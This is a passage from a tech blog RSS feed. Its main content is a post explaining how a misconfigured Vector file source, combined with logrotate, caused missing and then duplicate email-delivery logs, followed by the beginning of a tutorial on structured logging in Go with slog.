href="https://blog.container-solutions.com/how-can-corporate-open-source-consumers-be-better-citizens">how corporate open source consumers could be better citizens</a> days before the log4shell vulnerability was discovered. It&apos;s been more than a year, yet most of the measures I suggested then are still relevant today.</p><p>When I wrote that article, Open Source Program Offices (or OSPOs) had just begun appearing on my radar. I want to attribute that to my lack of knowledge and awareness of the goings-on within the ecosystem. </p><p>But I&apos;d also be the first to admit today that there&apos;s been quiet a bit of traction in adopting OSPOs across the industry since then. So that&apos;s probably one of the things I&apos;d recommend learning more about in the context of your organization if I were to write the article today.</p><p>But to sum it all up, <a href="https://twitter.com/FloorDrees">Floor Drees</a>, Staff Community Program Manager at Aiven, states it more beautifully than I ever could in <a href="https://thenewstack.io/sos-sustainable-open-source/">this TNS piece</a>,</p><blockquote>&quot;Discussions around the sustainability of open source are hard, but they&#x2019;re necessary. FOSS is ubiquitous, it&#x2019;s omnipresent, yet we&#x2019;re still struggling to live with open source in a healthy, safe, and productive way. </blockquote><p>As Floor noted, we need to understand the risks and then help open source, well, help open source.</p>]]></content:encoded>
            <author>Divya Mohan</author>
            <category>Open Source</category>
            <category>Blog</category>
        </item>
        <item>
            <title><![CDATA[The curious case of missing and duplicate logs]]></title>
            <link>https://mrkaran.dev/posts/missing-duplicate-logs/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/missing-duplicate-logs/</guid>
            <pubDate>Thu, 16 Feb 2023 08:27:13 GMT</pubDate>
            <description><![CDATA[At work, we use a Vector pipeline for processing and shipping logs to Clickhouse. We also self-host our SMTP servers and recently started using Haraka SMTP. While Haraka is excellent in raw performance and throughput, it needed an external logging plugin for audit and compliance purposes. I wrote haraka-plugin-outbound-logger to log basic metadata like timestamps/subject/SMTP response in a JSON file.
The plan was to dump these logs into a file and use Vector’s file source for reading them and doing the further transformation. However, things went differently than I had planned. There were mainly two issues propped up due to bad Vector configuration.
Missing logs#
The vector configuration to read the file looked like this:
[sources.outbound_logger]
type = "file"
include = ["/var/log/haraka/outbound/*.log"]
read_from = "beginning"
# Remove the files after 24 hours. Vector must have permission to delete these files.
remove_after_secs = 86400
fingerprint.strategy = "device_and_inode"

Vector has a handy configuration of automagically deleting the file if the file hasn’t received any new write in the configured time interval. So remove_after_secs=86400 specifies if the file hasn’t had any new writes since 24h, it can delete it. It made sense to configure because our workload was a shorter process. It was a batch job done once every N days.
When the file didn’t receive any new writes after 24h, vector deleted the file as expected. However, the plugin continued logging into the same file handler, even for newer batch jobs. As a result, the file didn’t receive any new logs and was empty.
I created a minimal POC to reproduce this seemingly strange issue:
var pino = require('pino');

// Initialise pino js logger and inject in the plugin context.
var opts = {
    name: 'outbound_logger',
    level: 'debug',
    // uses the ISO time format.
    timestamp: pino.stdTimeFunctions.isoTime,
    formatters: {
        level: (label) => {
            return { level: label };
        },
    },
}

pilog = pino(opts, pino.destination(`${__dirname}/app.log`))

pilog.info('this is a first message')
setTimeout(() => pilog.info('this message should get logged'), 10000)
pilog.info('this message will be recorded as well')
This snippet logs to app.log.
{"level":"info","time":"2023-02-16T06:45:04.031Z","pid":206573,"hostname":"pop-os","name":"outbound_logger","msg":"this is a first message"}
{"level":"info","time":"2023-02-16T06:45:04.031Z","pid":206573,"hostname":"pop-os","name":"outbound_logger","msg":"this message will be recorded as well"}

During the 10s time interval, I deleted the file from the disk rm app.log to mimic the behaviour of remove_after_secs. I expected the file to get re-created and this message should get logged logged by the above script.
However, that didn’t happen. The script didn’t complain about a missing file, either. I was perplexed and did some google-fu and found the following via Stackoverflow:
The writes actually do not fail.When you delete a file that is open in another program you are deleting a named link to that file’s inode. The program that has it open still points to that inode. It will happily keep writing to it, actually writing to disk. Only now you don’t have a way to look it at, because you deleted the named reference to it. (If there were other references, e.g. hard links, you would still be able to!).
This is exactly what was happening in production. When vector deleted the file (as configured via remove_after_secs ), the plugin didn’t know about it and kept writing to the same inode. This was a major TIL moment for me.
Fix: The fix was simple enough; I removed remove_after_secs from Vector’s config. To address the problem of the file not growing unbounded forever, I created a logrotate config:
/opt/app/logs/app.log {
    daily
    rotate 15
    dateext
    dateformat -%Y-%m-%d.log
    delaycompress
    compress
    notifempty
    missingok
    copytruncate
}
Some notes:
copytruncate is useful in this context. It copies the existing file to a new one, which now becomes a stale one. The current (active) file will be truncated to zero bytes. E.g., if app.log it is rotated, logrotate will copy the file to a new file app-2023-02-05.log and then truncate the existing one to zero bytes.
delaycompress will not compress the logs until the next rotation happens. This is useful if vector hasn’t finished processing the log and can continue to do that.
Duplicate Logs#
Now after fixing the case of missing logs, I found myself in the opposite problem - now the logs were duplicated on Clickhouse.
My mental state at that moment couldn’t be more accurately described than this meme:

To add more context, before developing my plugin for logging email delivery in Haraka, we used another plugin (acharkizakaria/haraka-plugin-accounting-files) to get these logs. This plugin records the metadata to CSV files. Still, there were some issues in properly escaping the subject lines (if the subject had a comma, that was incorrectly parsed); hence, the log file had inconsistent output. To address these issues, I found writing another plugin from scratch that outputs to a fixed JSON schema is better.
As seen above, vector’s file source was configured like the following for reading CSV files. The only change here is that remove_after_secs is gone after fixing issue #1.
[sources.outbound_logger]
type = "file"
include = ["/var/log/haraka/outbound/*.log"]
read_from = "beginning"
fingerprint.strategy = "device_and_inode"
Vector “fingerprints” the file source, as it keeps the checkpoint of how many bytes it has read for each file in its own “disk buffer”. This buffer is helpful if Vector crashes so it can restart reading the file from where it last stopped.
There are two strategies for fingerprinting that vector uses:
The checksum strategy uses CRC check on the first N lines of the file.
The device_and_inode strategy uses the disk’s actual inode location to identify the file uniquely.
As I was using a different plugin which logged to a CSV file, the checksum strategy did not work in my context. Since vector fingerprints, the first few bytes (usually just enough for a header of a CSV), all the CSV files in that disk would have the same title, and Vector would not read all of them. To work around this, I changed the fingerprint.starategy = "device_and_inode" so Vector uniquely identifies all CSV files by their inode path. (In hindsight, I should have just used checksum with a higher value of fingerprint.lines value.)
The mistake this time was when I switched to a JSON log file, I continued with the device_and_inode strategy. This isn’t a problem if there is no log rotation setup. Since I did configure logrotate to fix issue #1, as you would have guessed, copytruncate created another log file, and because I was using device_and_inode strategy, vector thought this was a “new” file to be watched and processed. So now I had duplicate entries from this new file, which is technically just an older log-rotated file.
The fix:
[sources.outbound_logger.fingerprint]
lines = 14
strategy = "checksum"
ignored_header_bytes = 2048
I switched back to the default checksum strategy and adjusted the thresholds for lines/header bytes to account for JSON logs. The same is also documented very clearly in Vector and it was my RTFM moment.
This strategy avoids the common pitfalls associated with using device and inode names since inode names can be reused across files. This enables Vector to properly tail files across various rotation strategies.
Phew! I am glad after these fixes; vector is durably and reliably processing all the logs and logrotate is happily working in conjunction as well. I hope documenting my learnings about these production issues would help someone with the same problems.
Fin!]]></description>
            <content:encoded><![CDATA[<p>At work, we use a <a rel="external" href="https://vector.dev/">Vector</a> pipeline for processing and shipping logs to <a rel="external" href="https://clickhouse.com/">Clickhouse</a>. We also self-host our SMTP servers and recently started using <a rel="external" href="https://github.com/haraka/Haraka">Haraka SMTP</a>. While Haraka is excellent in raw performance and throughput, it needed an external logging plugin for audit and compliance purposes. I wrote <a rel="external" href="https://github.com/mr-karan/haraka-plugin-outbound-logger">haraka-plugin-outbound-logger</a> to log basic metadata like timestamps/subject/SMTP response in a JSON file.</p>
<p>The plan was to dump these logs into a file and use Vector’s file source for reading them and doing the further transformation. However, things went differently than I had planned. There were mainly two issues propped up due to bad Vector configuration.</p>
<h3 id="missing-logs">Missing logs<a class="zola-anchor" href="#missing-logs" aria-label="Anchor link for: missing-logs">#</a></h3>
<p>The vector configuration to read the file looked like this:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">outbound_logger</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>include</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/var/log/haraka/outbound/*.log</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>read_from</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">beginning</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Remove the files after 24 hours. Vector must have permission to delete these files.</span></span>
<span class="giallo-l"><span>remove_after_secs</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 86400</span></span>
<span class="giallo-l"><span>fingerprint</span><span>.</span><span>strategy</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">device_and_inode</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span></code></pre>
<p>Vector has a handy configuration of <em>automagically</em> deleting the file if the file hasn’t received any new write in the configured time interval. So <code>remove_after_secs=86400</code> specifies if the file hasn’t had any new writes since 24h, it can delete it. It made sense to configure because our workload was a shorter process. It was a batch job done once every N days.</p>
<p>When the file didn’t receive any new writes after 24h, <code>vector</code> deleted the file as expected. However, the plugin continued logging into the <em>same</em> file handler, even for newer batch jobs. As a result, the file didn’t receive any new logs and was empty.</p>
<p>I created a minimal POC to reproduce this seemingly strange issue:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="javascript"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">var</span><span> pino</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> require</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">pino</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">//</span><span style="color: light-dark(#6A737D, #768390);"> Initialise pino js logger and inject in the plugin context.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">var</span><span> opts</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> {</span></span>
<span class="giallo-l"><span>    name</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">outbound_logger</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span></span>
<span class="giallo-l"><span>    level</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;</span><span style="color: light-dark(#032F62, #96D0FF);">debug</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">    //</span><span style="color: light-dark(#6A737D, #768390);"> uses the ISO time format.</span></span>
<span class="giallo-l"><span>    timestamp</span><span>:</span><span> pino</span><span>.</span><span>stdTimeFunctions</span><span>.</span><span>isoTime</span><span>,</span></span>
<span class="giallo-l"><span>    formatters</span><span>:</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">        level</span><span>:</span><span> (</span><span style="color: light-dark(#E36209, #F69D50);">label</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">            return</span><span> {</span><span> level</span><span>:</span><span> label</span><span> }</span><span>;</span></span>
<span class="giallo-l"><span>        }</span><span>,</span></span>
<span class="giallo-l"><span>    }</span><span>,</span></span>
<span class="giallo-l"><span>}</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>pilog</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> pino</span><span>(</span><span>opts</span><span>,</span><span> pino</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">destination</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#032F62, #96D0FF);">${</span><span>__dirname</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#032F62, #96D0FF);">/app.log</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span>)</span><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>pilog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">this is a first message</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #DCBDFB);">setTimeout</span><span>(</span><span>(</span><span>)</span><span style="color: light-dark(#D73A49, #F47067);"> =&gt;</span><span> pilog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">this message should get logged</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span><span>,</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10000</span><span>)</span></span>
<span class="giallo-l"><span>pilog</span><span>.</span><span style="color: light-dark(#6F42C1, #DCBDFB);">info</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">this message will be recorded as well</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span></code></pre>
<p>This snippet logs to <code>app.log</code>.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="json"><span class="giallo-l"><span>{</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">level</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">info</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">time</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2023-02-16T06:45:04.031Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">pid</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">206573</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">hostname</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">pop-os</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">name</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">outbound_logger</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">msg</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">this is a first message</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>}</span></span>
<span class="giallo-l"><span>{</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">level</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">info</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">time</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2023-02-16T06:45:04.031Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">pid</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">206573</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">hostname</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">pop-os</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">name</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">outbound_logger</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">msg</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">this message will be recorded as well</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>}</span></span>
<span class="giallo-l"></span></code></pre>
<p>During the 10s time interval, I deleted the file from the disk <code>rm app.log</code> to mimic the behaviour of <code>remove_after_secs</code>. I expected the file to get re-created and <code>this message should get logged</code> logged by the above script.</p>
<p>However, that <strong>didn’t</strong> happen. The script didn’t complain about a missing file, either. I was perplexed and did some google-fu and found the following via <a rel="external" href="https://stackoverflow.com/a/19304284/709452">Stackoverflow</a>:</p>
<blockquote>
<p>The writes actually do not fail.When you delete a file that is open in another program you are deleting a named link to that file’s inode. The program that has it open still points to that inode. It will happily keep writing to it, actually writing to disk. Only now you don’t have a way to look it at, because you deleted the named reference to it. (If there were other references, e.g. hard links, you would still be able to!).</p>
</blockquote>
<p>This is exactly what was happening in production. When <code>vector</code> deleted the file (as configured via <code>remove_after_secs</code> ), the plugin didn’t know about it and kept writing to the same inode. This was a major TIL moment for me.</p>
<p><strong>Fix</strong>: The fix was simple enough; I removed <code>remove_after_secs</code> from Vector’s config. To address the problem of the file not growing unbounded forever, I created a <code>logrotate</code> config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="ini"><span class="giallo-l"><span>/opt/app/logs/app.log {</span></span>
<span class="giallo-l"><span>    daily</span></span>
<span class="giallo-l"><span>    rotate 15</span></span>
<span class="giallo-l"><span>    dateext</span></span>
<span class="giallo-l"><span>    dateformat -%Y-%m-%d.log</span></span>
<span class="giallo-l"><span>    delaycompress</span></span>
<span class="giallo-l"><span>    compress</span></span>
<span class="giallo-l"><span>    notifempty</span></span>
<span class="giallo-l"><span>    missingok</span></span>
<span class="giallo-l"><span>    copytruncate</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>Some notes:</p>
<ul>
<li><code>copytruncate</code> is useful in this context. It copies the existing file to a new one, which now becomes a stale one. The current (active) file will be truncated to zero bytes. E.g., if <code>app.log</code> it is rotated, logrotate will copy the file to a new file <code>app-2023-02-05.log</code> and then truncate the existing one to zero bytes.</li>
<li><code>delaycompress</code> will not compress the logs until the next rotation happens. This is useful if <code>vector</code> hasn’t finished processing the log and can continue to do that.</li>
</ul>
<h3 id="duplicate-logs">Duplicate Logs<a class="zola-anchor" href="#duplicate-logs" aria-label="Anchor link for: duplicate-logs">#</a></h3>
<p>Now after fixing the case of missing logs, I found myself in the opposite problem - now the logs were <em>duplicated</em> on Clickhouse.</p>
<p>My mental state at that moment couldn’t be more accurately described than this meme:</p>
<p><img src="https://mrkaran.dev/images/missing-duplicate-logs-this-is-fine.jpeg" alt="img" /></p>
<p>To add more context, before developing my plugin for logging email delivery in Haraka, we used another plugin (<a rel="external" href="https://github.com/acharkizakaria/haraka-plugin-accounting-files">acharkizakaria/haraka-plugin-accounting-files</a>) to get these logs. This plugin records the metadata to CSV files. Still, there were some issues in properly escaping the subject lines (if the subject had a comma, that was incorrectly parsed); hence, the log file had inconsistent output. To address these issues, I found writing another plugin from scratch that outputs to a fixed JSON schema is better.</p>
<p>As seen above, <code>vector</code>’s file source was configured like the following for reading CSV files. The only change here is that <code>remove_after_secs</code> is gone after fixing issue #1.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">outbound_logger</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">file</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>include</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">/var/log/haraka/outbound/*.log</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>read_from</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">beginning</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>fingerprint</span><span>.</span><span>strategy</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">device_and_inode</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Vector “<a rel="external" href="https://vector.dev/docs/reference/configuration/sources/file/#fingerprint">fingerprints</a>” the file source, as it keeps the checkpoint of how many bytes it has read for each file in its own “disk buffer”. This buffer is helpful if Vector crashes so it can restart reading the file from where it last stopped.</p>
<p>There are two strategies for fingerprinting that vector uses:</p>
<ul>
<li>The <code>checksum</code> strategy uses CRC check on the first N lines of the file.</li>
<li>The <code>device_and_inode strategy</code> uses the disk’s actual inode location to identify the file uniquely.</li>
</ul>
<p>As I was using a different plugin which logged to a CSV file, the checksum strategy did not work in my context. Since vector fingerprints, the first few bytes (usually just enough for a header of a CSV), all the CSV files in that disk would have the same title, and Vector would not read all of them. To work around this, I changed the <code>fingerprint.starategy = "device_and_inode"</code> so Vector uniquely identifies all CSV files by their inode path. (In hindsight, I should have just used <code>checksum</code> with a higher value of <a rel="external" href="https://vector.dev/docs/reference/configuration/sources/file/#fingerprint.lines">fingerprint.lines</a> value.)</p>
<p>The mistake this time was when I switched to a JSON log file, I continued with the <code>device_and_inode</code> strategy. This isn’t a problem if there is no log rotation setup. Since I did configure <code>logrotate</code> to fix issue #1, as you would have guessed, <code>copytruncate</code> created another log file, and because I was using <code>device_and_inode</code> strategy, vector thought this was a “new” file to be watched and processed. So now I had duplicate entries from this new file, which is technically just an older log-rotated file.</p>
<p><strong>The fix:</strong></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">outbound_logger</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">fingerprint</span><span>]</span></span>
<span class="giallo-l"><span>lines</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 14</span></span>
<span class="giallo-l"><span>strategy</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">checksum</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>ignored_header_bytes</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2048</span></span></code></pre>
<p>I switched back to the default <code>checksum</code> strategy and adjusted the thresholds for lines/header bytes to account for JSON logs. The same is also <a rel="external" href="https://vector.dev/docs/reference/configuration/sources/file/#file-rotation">documented</a> very clearly in Vector and it was my RTFM moment.</p>
<blockquote>
<p>This strategy avoids the common pitfalls associated with using device and inode names since inode names can be reused across files. This enables Vector to properly tail files across various rotation strategies.</p>
</blockquote>
<p>Phew! I am glad after these fixes; <code>vector</code> is durably and reliably processing all the logs and <code>logrotate</code> is happily working in conjunction as well. I hope documenting my learnings about these production issues would help someone with the same problems.</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Structured logging in Go with slog]]></title>
            <link>https://mrkaran.dev/posts/structured-logging-in-go-with-slog/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/structured-logging-in-go-with-slog/</guid>
            <pubDate>Wed, 15 Feb 2023 07:29:53 GMT</pubDate>
            <description><![CDATA[A few months ago, a proposal for adding a structured logging library in Go was introduced by Jonathan Amsterdam. At present, Go has a minimal and bare-bones log package which works all right for basic use cases. However, the current library has a few shortcomings that this proposal aims to solve:
Emitting logs with different severity/levels
Structured output: Makes parsing of logs harder
Logging a set of common fields/attributes
Difficult to have a log object inside libraries as each service could have its log implementation.
As a result, many code bases have their wrappers around the log package. Additionally, there are plenty of 3rd party libraries to choose from - including logf (which my work colleagues and I built at Zerodha).
This article is about how to get started with slog for logging in Go applications.
NOTE
    
Since slog is currently in the proposal state and hasn’t yet merged in the official library, the API could change in future.
Architecture of slog#
At a higher level, slog contains three main entities:
Logger: The user-facing API for interacting with slog. All the public methods are defined on the Logger object.
Record: Contains information about the log event itself. A standard record will have timestamp, level and message fields as default. Additional attributes and metadata like caller info can be added to the Record.
Handlers: A handler is an interface implementation. The Logger object passes the Record to a handler, and the handler can choose whatever it wants to do with the Record. This is a common approach in Go libraries, where a “provider” can be abstracted in handling that task. Currently, slog ships with two handlers: JSON and logfmt. Some projects have also created handlers for zap/logrus (popular 3rd party libraries).
Initialization#
This snippet initializes a Text Handler, which produces logfmt format messages on os.Stdout.
package main

import (
	"os"

	"golang.org/x/exp/slog"
)

func main() {
	log := slog.New(slog.NewTextHandler(os.Stdout))
	log.Info("Hello world")

	fakeErr := os.ErrNotExist
	log.Error("something went wrong", fakeErr, "file", "/tmp/abc.txt")
}

Log output:
time=2023-02-15T19:58:10.615+05:30 level=INFO msg="Hello world"
time=2023-02-15T19:58:10.615+05:30 level=ERROR msg="something went wrong" file=/tmp/abc.txt err="file does not exist"
Customizing#
You’ll notice that the caller information isn’t exposed by default. The reason could be that finding the stack trace of the calling line is a bit expensive operation. However, for libraries/apps which need it can do that by customizing the handler:
func main() {
	handler := slog.HandlerOptions{AddSource: true}
	log := slog.New(handler.NewTextHandler(os.Stdout))

	log.Info("Hello world")
}

Log Output:
time=2023-02-15T12:17:53.742+05:30 level=INFO source=/home/karan/Code/Personal/slog-examples/main.go:14 msg="Hello world"
Attributes#
Sometimes, it’s helpful to append specific metadata to each log line which will help in aggregating/filtering with a central log-collecting agent. E.g., you can export a component key for each sub-service of your primary application.
func main() {
	log := slog.New(slog.NewTextHandler(os.Stdout)).With("component", "demo")
	log.Info("Hello world")
}

Log Output:
time=2023-02-15T12:21:50.231+05:30 level=INFO msg="Hello world" component=demo
Nested Keys#
So far, we’ve seen flat keys in the log message. It may be helpful to group together specific keys together and form a nested object. In JSON, that would mean a top-level object with different fields inside. However, in logfmt, it would-be parent.child format.To use nested keys, slog.Group can be used. This example uses http as the top-level key, and all its associated fields will be nested inside.
	log.Info("Hello world", slog.Group("http",
		slog.String("method", "GET"),
		slog.Int("status", 200),
		slog.Duration("duration", 250),
		slog.String("method", "GET"),
		slog.String("path", "/api/health")))

time=2023-02-15T12:30:43.130+05:30 level=INFO msg="Hello world" component=demo http.method=GET http.status=200 http.duration=250ns http.method=GET http.path=/api/health
Configurable Handlers#
JSON logs are daunting and tedious to read when locally developing applications. However, it’s a great fit for machine parsing of the logs. logfmt hits the sweet spot for being machine parseable and human-readable.However, thanks to the powerful “interface” implementation approach, it’s easy to switch to any handler via user-configurable methods (like config files/env variables):
package main

import (
	"os"

	"golang.org/x/exp/slog"
)

func main() {
	var (
		env     = os.Getenv("APP_ENV")
